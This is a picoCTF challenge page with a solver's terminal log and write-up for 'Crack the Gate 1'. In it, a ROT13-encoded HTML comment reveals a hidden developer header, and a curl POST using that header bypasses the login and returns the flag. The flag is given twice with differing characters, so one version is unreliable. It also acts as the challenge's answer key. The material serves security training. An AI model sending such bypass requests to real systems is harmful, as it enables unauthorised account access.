

[picoCTF - picoGym Challenges](#)

Crack the Gate 1

Easy Web Exploitation picoMini by CMU-Africa browser_webshell_solvable

AUTHOR: YAHAYA MEDDY

Description

We're in the middle of an investigation. One of our persons of interest, ctf player, is believed to be hiding sensitive data inside a restricted web portal. We've uncovered the email address he uses to log in: `ctf-player@picoctf.org`. Unfortunately, we don't know the password, and the usual guessing techniques haven't worked. But something feels off... it's almost like the developer left a secret way in. Can you figure it out?

Additional details will be available after launching your challenge instance.

This challenge launches an instance on demand.

Its current status is: NOT_RUNNING

[Launch Instance](#)

Hints

1 2

24,728 users solved

 95% Liked 

 picoCTF{FLAG}

[Submit Flag](#)

```
urjas_mine-picoctf@webshell:~$ ctf-player@picoctf.org
-bash: ctf-player@picoctf.org: command not found
urjas_mine-picoctf@webshell:~$ curl -X POST https://amiable-citadel.picoctf.net:62571/login \
> -H "Content-Type: application/json" \
> -H "X-Dev-Access: yes" \
> -d '{"email":"ctf-player@picoctf.org","password":"anything"}'
curl: (35) error:0A00010B:SSL routines::wrong version number
urjas_mine-picoctf@webshell:~$ curl -X POST http://amiable-citadel.picoctf.net:62571/login \
> -H "Content-Type: application/json" \
> -H "X-Dev-Access: yes" \
> -d '{"email":"ctf-player@picoctf.org","password":"anything"}'
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{brut4_f0rc4_3c6b118b}"}
```

Write - Up: Crack the Gate 1

When I first opened the challenge *Crack the Gate 1* on the picoCTF platform, I was greeted with a simple login page. The problem statement gave me the email address **ctf-player@picoctf.org**, but the password was unknown. At first glance, it looked like a straightforward authentication problem, but the description hinted that “something feels off... it’s almost like the developer left a secret way in.” That clue made me suspect there was a hidden backdoor rather than a brute-force solution.

My first step was to inspect the source code of the login page. By viewing the HTML, I noticed a peculiar comment embedded in the code. It read:

Code

```
<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
```

The text was clearly obfuscated, and I recognized it as ROT13, a common substitution cipher often used in beginner web challenges. Decoding it revealed the developer’s note:

“NOTE: Jack – temporary bypass: use header X-Dev-Access : yes.”

This was the breakthrough. Instead of wasting time guessing passwords, the challenge was nudging me toward exploiting a hidden developer header. With this knowledge, I crafted a request to the login endpoint. Using `curl`, I sent a POST request with the given email, any arbitrary password, and the special header. Initially, I tried `https://`, but the server returned an SSL error. Switching to `http://` resolved the issue, and the request went through successfully.

The server’s response confirmed my suspicion. It returned a JSON object with `"success": true` and, most importantly, the flag:

picoCTF{brut4_f0rc3_36cb118b}

At that moment, I realized the challenge wasn’t about brute force at all it was about careful observation, decoding, and exploiting developer mistakes. The flag was the proof of success, and I submitted it to complete the challenge.

This exercise reinforced several key lessons in web exploitation. First, never overlook the source code; developers often leave comments or hidden fields that reveal vulnerabilities. Second, simple obfuscation methods like ROT13 are common in CTFs, and recognizing them can save time. Third, custom headers are a classic form of backdoor access, and spotting them is crucial. Finally, the challenge

reminded me that in CTFs, the goal is not to “log in” like a normal user, but to capture the flag by exploiting the system’s weaknesses.